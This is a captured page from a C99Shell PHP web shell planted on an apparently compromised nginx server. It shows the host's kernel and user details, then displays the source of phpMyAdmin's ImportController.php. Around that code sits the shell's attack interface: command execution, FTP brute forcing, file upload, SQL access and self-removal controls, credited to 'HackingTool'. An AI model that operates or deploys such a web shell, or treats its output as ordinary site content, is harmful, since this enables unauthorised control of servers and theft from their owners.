!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/Database/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ImportController.php (4.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Database;

use 
PhpMyAdmin\Charsets;
use 
PhpMyAdmin\Charsets\Charset;
use 
PhpMyAdmin\Config\PageSettings;
use 
PhpMyAdmin\Core;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Encoding;
use 
PhpMyAdmin\Import;
use 
PhpMyAdmin\Import\Ajax;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Plugins;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;
use function 
intval;

final class 
ImportController extends AbstractController
{
    
/** @var DatabaseInterface */
    
private $dbi;

    
/**
     * @param Response          $response
     * @param string            $db       Database name.
     * @param DatabaseInterface $dbi
     */
    
public function __construct($responseTemplate $template$db$dbi)
    {
        
parent::__construct($response$template$db);
        
$this->dbi $dbi;
    }

    public function 
index(): void
    
{
        global 
$db$max_upload_size$table$tables$num_tables$total_num_tables$cfg;
        global 
$tooltip_truename$tooltip_aliasname$pos$sub_part$SESSION_KEY$PMA_Theme$err_url;

        
$pageSettings = new PageSettings('Import');
        
$pageSettingsErrorHtml $pageSettings->getErrorHTML();
        
$pageSettingsHtml $pageSettings->getHTML();

        
$this->addScriptFiles(['import.js']);

        
Util::checkParameters(['db']);

        
$err_url Util::getScriptNameForOption($cfg['DefaultTabDatabase'], 'database');
        
$err_url .= Url::getCommon(['db' => $db], '&');

        if (! 
$this->hasDatabase()) {
            return;
        }

        [
            
$tables,
            
$num_tables,
            
$total_num_tables,
            
$sub_part,,,
            
$tooltip_truename,
            
$tooltip_aliasname,
            
$pos,
        ] = 
Util::getDbInfo($db$sub_part ?? '');

        [
$SESSION_KEY$uploadId] = Ajax::uploadProgressSetup();

        
$importList Plugins::getImport('database');

        if (empty(
$importList)) {
            
$this->response->addHTML(Message::error(__(
                
'Could not load import plugins, please check your installation!'
            
))->getDisplay());

            return;
        }

        
$offset null;
        if (
Core::isValid($_REQUEST['offset'], 'numeric')) {
            
$offset intval($_REQUEST['offset']);
        }

        
$timeoutPassed $_REQUEST['timeout_passed'] ?? null;
        
$localImportFile $_REQUEST['local_import_file'] ?? null;
        
$compressions Import::getCompressions();

        
$allCharsets Charsets::getCharsets($this->dbi$cfg['Server']['DisableIS']);
        
$charsets = [];
        
/** @var Charset $charset */
        
foreach ($allCharsets as $charset) {
            
$charsets[] = [
                
'name' => $charset->getName(),
                
'description' => $charset->getDescription(),
            ];
        }

        
$idKey $_SESSION[$SESSION_KEY]['handler']::getIdKey();
        
$hiddenInputs = [
            
$idKey => $uploadId,
            
'import_type' => 'database',
            
'db' => $db,
        ];

        
$this->render('database/import/index', [
            
'page_settings_error_html' => $pageSettingsErrorHtml,
            
'page_settings_html' => $pageSettingsHtml,
            
'upload_id' => $uploadId,
            
'handler' => $_SESSION[$SESSION_KEY]['handler'],
            
'theme_image_path' => $PMA_Theme->getImgPath(),
            
'hidden_inputs' => $hiddenInputs,
            
'db' => $db,
            
'table' => $table,
            
'max_upload_size' => $max_upload_size,
            
'import_list' => $importList,
            
'local_import_file' => $localImportFile,
            
'is_upload' => $GLOBALS['is_upload'],
            
'upload_dir' => $cfg['UploadDir'] ?? null,
            
'timeout_passed_global' => $GLOBALS['timeout_passed'] ?? null,
            
'compressions' => $compressions,
            
'is_encoding_supported' => Encoding::isSupported(),
            
'encodings' => Encoding::listEncodings(),
            
'import_charset' => $cfg['Import']['charset'] ?? null,
            
'timeout_passed' => $timeoutPassed,
            
'offset' => $offset,
            
'can_convert_kanji' => Encoding::canConvertKanji(),
            
'charsets' => $charsets,
            
'is_foreign_key_check' => Util::isForeignKeyCheck(),
            
'user_upload_dir' => Util::userDir($cfg['UploadDir'] ?? ''),
            
'local_files' => Import::getLocalFiles($importList),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--